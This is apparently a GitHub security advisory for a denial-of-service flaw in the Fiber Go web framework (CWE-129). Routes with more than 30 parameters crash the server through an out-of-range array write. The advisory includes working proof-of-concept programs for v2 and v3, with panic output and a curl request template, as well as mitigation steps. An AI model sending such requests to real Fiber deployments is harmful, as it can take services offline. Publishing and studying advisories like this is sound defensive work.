A denial of service vulnerability exists in Fiber v2 and v3 that allows remote attackers to crash the application by sending requests to routes with more than 30 parameters. The vulnerability results from missing validation during route registration combined with an unbounded array write during request matching.
Both Fiber v2 and v3 define a fixed-size parameter array in ctx.go:
const maxParams = 30
type DefaultCtx struct {
values [maxParams]string // Fixed 30-element array
// ...
}
The router.go register() function accepts routes without validating parameter count. When a request matches a route exceeding 30 parameters, the code in path.go performs an unbounded write:
path.go:514path.go:516// path.go:514 - NO BOUNDS CHECKING
params[paramsIterator] = path[:i]
When paramsIterator >= 30, this triggers:
panic: runtime error: index out of range [30] with length 30
Application registers route with >30 parameters (e.g., via code or dynamic routing):
app.Get("/api/:p1/:p2/:p3/.../p35", handler)
Attacker sends matching HTTP request:
curl http://target/api/v1/v2/v3/.../v35
Server crashes during request processing with runtime panic
package main
import (
"fmt"
"net/http"
"time"
"github.com/gofiber/fiber/v3"
)
func main() {
app := fiber.New()
// Register route with 35 parameters (exceeds maxParams=30)
path := "/test"
for i := 1; i <= 35; i++ {
path += fmt.Sprintf("/:p%d", i)
}
fmt.Printf("Registering route: %s...\n", path[:50]+"...")
app.Get(path, func(c fiber.Ctx) error {
return c.SendString("Never reached")
})
fmt.Println("ā Registration succeeded (NO PANIC)")
go func() {
app.Listen(":9999")
}()
time.Sleep(200 * time.Millisecond)
// Build exploit URL with 35 parameter values
url := "http://localhost:9999/test"
for i := 1; i <= 35; i++ {
url += fmt.Sprintf("/v%d", i)
}
fmt.Println("\nš“ Sending exploit request...")
fmt.Println("Expected: panic at path.go:514 params[paramsIterator] = path[:i]\n")
resp, err := http.Get(url)
if err != nil {
fmt.Printf("ā Request failed: %v\n", err)
fmt.Println("š„ Server crashed!")
} else {
fmt.Printf("Response: %d\n", resp.StatusCode)
resp.Body.Close()
}
}
Output:
Registering route: /test/:p1/:p2/:p3/:p4/:p5/:p6/:p7/:p8/:p9/:p10...
ā Registration succeeded (NO PANIC)
š“ Sending exploit request...
Expected: panic at path.go:514 params[paramsIterator] = path[:i]
panic: runtime error: index out of range [30] with length 30
goroutine 40 [running]:
github.com/gofiber/fiber/v3.(*routeParser).getMatch(...)
/path/to/fiber/path.go:514
github.com/gofiber/fiber/v3.(*Route).match(...)
/path/to/fiber/router.go:89
github.com/gofiber/fiber/v3.(*App).next(...)
/path/to/fiber/router.go:142
package main
import (
"fmt"
"net/http"
"time"
"github.com/gofiber/fiber/v2"
)
func main() {
app := fiber.New()
// Register route with 35 parameters (exceeds maxParams=30)
path := "/test"
for i := 1; i <= 35; i++ {
path += fmt.Sprintf("/:p%d", i)
}
fmt.Printf("Registering route: %s...\n", path[:50]+"...")
app.Get(path, func(c *fiber.Ctx) error {
return c.SendString("Never reached")
})
fmt.Println("ā Registration succeeded (NO PANIC)")
go func() {
app.Listen(":9998")
}()
time.Sleep(200 * time.Millisecond)
// Build exploit URL with 35 parameter values
url := "http://localhost:9998/test"
for i := 1; i <= 35; i++ {
url += fmt.Sprintf("/v%d", i)
}
fmt.Println("\nš“ Sending exploit request...")
fmt.Println("Expected: panic at path.go:516 params[paramsIterator] = path[:i]\n")
resp, err := http.Get(url)
if err != nil {
fmt.Printf("ā Request failed: %v\n", err)
fmt.Println("š„ Server crashed!")
} else {
fmt.Printf("Response: %d\n", resp.StatusCode)
resp.Body.Close()
}
}
Output (v2):
Registering route: /test/:p1/:p2/:p3/:p4/:p5/:p6/:p7/:p8/:p9/:p10...
ā Registration succeeded (NO PANIC)
š“ Sending exploit request...
Expected: panic at path.go:516 params[paramsIterator] = path[:i]
panic: runtime error: index out of range [30] with length 30
goroutine 40 [running]:
github.com/gofiber/fiber/v2.(*routeParser).getMatch(...)
/path/to/fiber/v2@v2.52.10/path.go:512
github.com/gofiber/fiber/v2.(*Route).match(...)
/path/to/fiber/v2@v2.52.10/router.go:84
github.com/gofiber/fiber/v2.(*App).next(...)
/path/to/fiber/v2@v2.52.10/router.go:127
HIGH - Exploitation requires only:
Until patched, users should:
Audit Routes: Ensure all routes have ā¤30 parameters
# Search for potential issues
grep -r "/:.*/:.*/:.*" . | grep -v node_modules
Disable Dynamic Routing: If programmatically registering routes, validate parameter count:
paramCount := strings.Count(route, ":")
if paramCount > 30 {
log.Fatal("Route exceeds maxParams")
}
Rate Limiting: Deploy aggressive rate limiting to mitigate DoS impact
Monitoring: Alert on panic patterns in application logs
Discovered by: @sixcolors (Fiber maintainer) and @TheAspectDev
{
"cwe_ids": [
"CWE-129"
],
"github_reviewed": true,
"github_reviewed_at": "2026-02-24T21:04:07Z",
"nvd_published_at": "2026-02-24T21:16:29Z",
"severity": "MODERATE"
}